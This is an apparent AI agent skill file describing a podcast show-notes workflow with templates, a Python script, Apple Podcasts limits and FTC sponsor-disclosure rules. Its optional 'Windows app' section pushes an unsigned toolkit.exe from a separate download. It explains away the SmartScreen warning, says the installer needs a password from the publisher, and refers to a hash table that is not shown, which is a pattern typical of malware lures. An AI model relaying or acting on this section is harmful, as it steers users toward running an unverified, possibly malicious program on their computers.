Podcast Show Notes Writer

Turns raw episode notes into publish-ready show notes with a summary, timestamps, chapter links and a sponsor disclosure. Written for US podcast producers and independent hosts who publish episodes every week.

Use this skill when someone asks for:

• podcast show notes template
• podcast episode summary
• podcast timestamp chapters
• podcast show notes generator

The job

Notes are written from memory after recording, so episodes ship with vague summaries, no timestamps and forgotten sponsor disclosures.

What you get

1. Read the raw notes or transcript and pull out the guest intro, the argument and the resources mentioned.
2. Write the episode summary and the key timestamps a listener can jump to.
3. Build the show notes with the guest bio, the links and the sponsor disclosure.
4. Check the length against the platform limit and flag the parts that need a listen.

Output contract:

• show_notes - the summary, the guest bio, the resources and the episode links
• timestamps - the chapter moments with the time each one starts
• links - the URLs mentioned in the episode with what each one is
• checks - the quotes, claims and sponsor reads that need the host to confirm

US specifics that matter

• Apple Podcasts caps an episode title at 255 characters and the episode summary at 4,000 characters in the RSS feed.
• Apple Podcasts has been rolling out a requirement for podcasts to provide transcripts, and says transcripts help listeners find episodes in search.
• The FTC's Endorsement Guides treat a paid sponsor read as an endorsement, so a US podcast has to disclose it out loud before the sponsored segment.

Guardrails (hard rules)

• Never invent a quote from a guest; use only words captured in the notes or transcript.
• Never repeat a sponsor's performance claim as if the host had verified it.
• Never submit the episode to a directory or publish the notes; the host and producer do that.

Quickstart

1. Fill in the brief

templates/episode-notes.md is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_show_notes.py --input episode-notes.md --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/podcast-show-notes.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Anatomy of a good episode page

• One sentence on what the listener gets, then the summary.
• Guest name, role and company with a bio of two or three lines.
• Key timestamps, each with a one-line description.
• Resources mentioned, each labelled so the listener knows what it is.

Platform limits

• Apple Podcasts: episode title 255 characters, episode summary 4,000 characters.
• Keep the summary under about 2,000 characters so players do not cut it.
• Episode artwork is a square image supplied in the same RSS feed as the show.

Disclosure rules for audio

• Say the sponsorship out loud before the sponsored segment starts.
• Repeat the disclosure in the notes next to the sponsor link.
• Never present a paid link as a personal recommendation without saying it is paid.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/podcast-show-notes.md - What a US podcast episode page needs
• templates/episode-notes.md - the brief to fill in
• scripts/build_show_notes.py - the working script

Verify the bundle

python3 scripts/build_show_notes.py --input episode-notes.md --out ./out

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